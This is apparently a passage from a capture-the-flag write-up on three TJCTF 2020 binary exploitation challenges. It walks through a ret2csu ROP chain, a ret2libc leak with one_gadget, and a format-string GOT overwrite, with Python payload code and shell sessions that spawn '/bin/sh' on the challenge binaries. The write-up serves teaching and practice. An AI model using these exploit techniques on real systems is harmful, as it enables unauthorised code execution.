0x000000000040094e <+94>: pop r13
0x0000000000400950 <+96>: pop r14
0x0000000000400952 <+98>: pop r15
0x0000000000400954 <+100>: ret
End of assembler dump.
We also need to write the address of syscall
to .bss
to make __libc_csu_init
execute syscall after setting up the registers.
Our payload should look like this.
# First chain - will setup syscall for read - to set syscall on bss and rax (0x3b) for execve
payload = ""
payload += "A"*offset
payload += p64(0x40094b) # pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += p64(1) # rbp for jne
payload += p64(0x601db8) # frame_dummy
payload += p64(0)
payload += p64(0)
payload += p64(100) # rdx value
payload += p64(0x0000000000400930) #ret2csu 0x0000000000400930
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(0x602000) # bss
payload += p64(0)
payload += p64(0x4008e0) # call read(0,0x602000,0x100)
# Second chain - Will setup rdi rsi rdx for execve('/bin/sh',0,0)
payload += p64(0x40094b) # pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += p64(1) # rbp for jne
payload += p64(0x602000) # bss
payload += p64(shell_addr) # rdi
payload += p64(0)
payload += p64(0) # rdx value
payload += p64(0x0000000000400930) #ret2csu 0x0000000000400930
This chain will execute read(0, 0x602000, 0x100
) and will ask again for another user input. The next user input should contain the syscall address and should have the length of 0x3b
. After sending the input, the program will call execve('/bin/sh',0,0)
.
Executing the payload will look like this.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/stop# python test.py
[+] Starting local process './stop': pid 7314
[*] Switching to interactive mode
$ ls
core exploit.py flag.txt stop test.py
$ cat flag.txt
tjctf{st0p_th4t_r1ght_now}
Exploit script: https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/stop/exploit.py
Cookie Library (90 points)
Challenge: Buffer overflow + ret2libc leak + rop-chain one_gadget
The solution for this challenge is similar to Seashells
.
A quick check shows that the given binary is also vulnerable to buffer overflow, but it is not possible to inject a shellcode since the NX bit
is set.
gef➤ checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/cookie_library/cookie_library'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Full
The binary asks for a user input. A quick fuzz gives us the offset we need to control the instruction pointer.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/cookie_library# pattern 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/cookie_library# gdb -q cookie_library
gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/cookie_library/cookie_library
Check out all these cookies!
- snickerdoodles
- chocolate chip cookies
- oatmeal raisin cookies
- gingersnaps
- shortbread cookies
- peanut butter cookies
- whoopie pies
- sugar cookies
- molasses cookies
- kiss cookies
- biscotti cookies
- butter cookies
- spritz cookies
- snowball cookies
- drop cookies
- thumbprint cookies
- pinwheel cookies
- wafers
- macaroons
- fortune cookies
- crinkle cookies
- icebox cookies
- gingerbread cookies
- tassies
- lebkuchen cookies
- macarons
- black and white cookies
- white chocolate macadamia nut cookies
Which is the most tasty?
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
I'm sorry but we can't be friends anymore
Program received signal SIGSEGV, Segmentation fault.
0x00000000004008c4 in main ()
gef➤ x/xg $rsp
0x7fffffffdeb8: 0x3164413064413963
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/cookie_library# pattern 0x3164413064413963
Pattern 0x3164413064413963 first occurrence at position 88 in pattern.
We need a padding of 88 bytes to control the program.
To get a shell from this program, we can use ret2libc attack to leak a libc address and execute system('/bin/sh')
.
Our stage 1 payload should look like this.
payload = ""
payload += "A"*88 # padding
payload += p64(pop_rdi) # control first argument
payload += p64(puts_got) # GOT address of puts (to leak printf libc address)
payload += p64(puts_plt) # will execute puts(&printf_got)
payload += p64(main_plt) # jump back to main (for stage 2 payload)
Again, we can use LIBC Database to determine the version of the LIBC used.
Once the LIBC base and other libc function addresses are determined, we can now create our stage 2 payload.
libc_base = puts_leak - puts_offset
# Stage 2 payload
payload = ""
payload += "A"*88 # padding
payload += p64(libc_base + one_gadget_offset)# one_gadget
I used one_gadget to execute a shell.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/cookie_library# one_gadget libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
Exploit script: https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/cookie_library/exploit.py
Naughty (100 points)
Challenge: Format string + loop back to main using .fini_array + overwrite printf GOT with system()
This challenge is not similar to the challenges above. A quick check shows that the given binary is not vulnerable to the attacks used (buffer overflow / shellcode injection / ret2libc / ret2csu) from the previous challenges. Still, it is vulnerable to format string attack.
gef➤ checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/naughty/naughty'
Canary : Yes
NX : Yes
PIE : No
Fortify : No
RelRO : No
gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/naughty/naughty
_ _ __ _ _ _ _ _ _ _ _ ___
| \| | __ _ _ _ / _` | | |_ | |_ | || | o O O ___ _ _ o O O | \| | (_) __ ___ |__ \
| .` | / _` | | +| | \__, | | ' \ | _| \_, | o / _ \ | '_| o | .` | | | / _| / -_) /_/
|_|\_| \__,_| \_,_| |___/ |_||_| _\__| _|__/ TS__[O] \___/ _|_|_ TS__[O] |_|\_| _|_|_ \__|_ \___| _(_)_
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """"| {======|_|"""""|_|"""""| {======|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
What is your name?
%x
You are on the NAUGHTY LIST 100
To solve a this challenge, we can use a GOT overwrite since the GOT table is writable (no RelRO bit set).
Upon inspection, we cannot easily control the program flow since the program terminates after the printf()
function that vulnerable to format string attack.
gef➤ disas main
Dump of assembler code for function main:
------------ redacted -------------------------
0x0804862f <+249>: call 0x80483b0 <printf@plt> <--- vulnerable to format string attack
0x08048634 <+254>: add esp,0x10
0x08048637 <+257>: mov eax,0x0
0x0804863c <+262>: mov edx,DWORD PTR [ebp-0xc]
0x0804863f <+265>: xor edx,DWORD PTR gs:0x14
0x08048646 <+272>: je 0x804864d <main+279>
0x08048648 <+274>: call 0x80486d0 <__stack_chk_fail_local>
0x0804864d <+279>: lea esp,[ebp-0x8]
0x08048650 <+282>: pop ecx
0x08048651 <+283>: pop ebx
0x08048652 <+284>: pop ebp
0x08048653 <+285>: lea esp,[ecx-0x4]
0x08048656 <+288>: ret
A quick research led me into this https://stackoverflow.com/questions/22147996/cant-find-a-section-dtors. It tells us that we can overwrite the destructors (.fini_array) to make the program loop back to main.
We can overwrite this address with the address of main()
.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/naughty# objdump -h -j .fini_array naughty
naughty: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
19 .fini_array 00000004 08049bac 08049bac 00000bac 2**2
CONTENTS, ALLOC, LOAD, DATA
While overwriting fini_array
, we can also leak a known libc address inside the stack to determine the libc version used, and leak a stack address to overwrite the return value.
Let’s get the format string offset first.
gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/naughty/naughty
_ _ __ _ _ _ _ _ _ _ _ ___
| \| | __ _ _ _ / _` | | |_ | |_ | || | o O O ___ _ _ o O O | \| | (_) __ ___ |__ \
| .` | / _` | | +| | \__, | | ' \ | _| \_, | o / _ \ | '_| o | .` | | | / _| / -_) /_/
|_|\_| \__,_| \_,_| |___/ |_||_| _\__| _|__/ TS__[O] \___/ _|_|_ TS__[O] |_|\_| _|_|_ \__|_ \___| _(_)_
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """"| {======|_|"""""|_|"""""| {======|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
What is your name?
AAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
You are on the NAUGHTY LIST AAAA 100 f7fa2580 8048550 ffffcfc4 ffffcfc0 3 41414141 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825
[Inferior 1 (process 7634) exited normally]
Our input AAAA or 0x41414141
can be seen on the 7th output.
Our stage 1 payload should look like this.
payload = ""
payload += p32(fini_array) # overwrite fini_array
payload += p32(printf_got) # for leaking libc address of printf
payload += "%.{}x".format(0x8536-8) # Will only overwrite last 2 bytes of what's written on fini_array
payload += "%7$hn" # the offset
payload += "AAAA%8$s %69$pBBBB" # Will also leak the value of printf libc and a stack address
After leaking the address, we can use LIBC Database to determine the version of the LIBC used.
For the stage 2 payload, we need to overwrite the location of the return address with the main()
address to create a loop, and overwrite the GOT value of printf()
with system()
so that instead of printing our input “/bin/sh”, it will be executed by the system function.
Our stage 2 payload should look like this.
libc_leak, stack_leak = r.recvuntil('BBBB').split("AAAA")[-1].split(' ')
libc_leak = u32(libc_leak[:4])
stack_leak = int(stack_leak.replace('BBBB',''),16)
libc_base = libc_leak - 0x050b60
ret_addr = stack_leak - 0x170 - 0x8
system_addr = libc_base + 0x03cd10
# Not working lol -----------------------------------------------------
payload = fmtstr_payload(offset, {ret_addr: main_plt, printf_got: system_addr}, write_size='byte')
# used pwntools' fmtstr_payload to make my life easier lol
After sending this payload, we just need to send “/bin/sh” to spawn a shell.
Executing the payload will look like this.
root@windows98:~/Documents/CTFs/2020/tjctf/pwn/naughty# python test.py
[+] Starting local process './naughty': pid 7780
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] libc leak: 0xf7df4a50
[*] libc base: 0xf7da2000
[*] stack leak: 0xffa31b14
[*] ret addr: 0xffa3199c
[+] Got a shell!
[*] Switching to interactive mode
sh: 1: You: not found
$ ls
exploit.py flag.txt libc.so.6 naughty oneshots test.py
$ cat flag.txt
tjctf{form4t_strin9s_ar3_on_th3_n1ce_li5t}
Exploit script: https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/naughty/exploit.py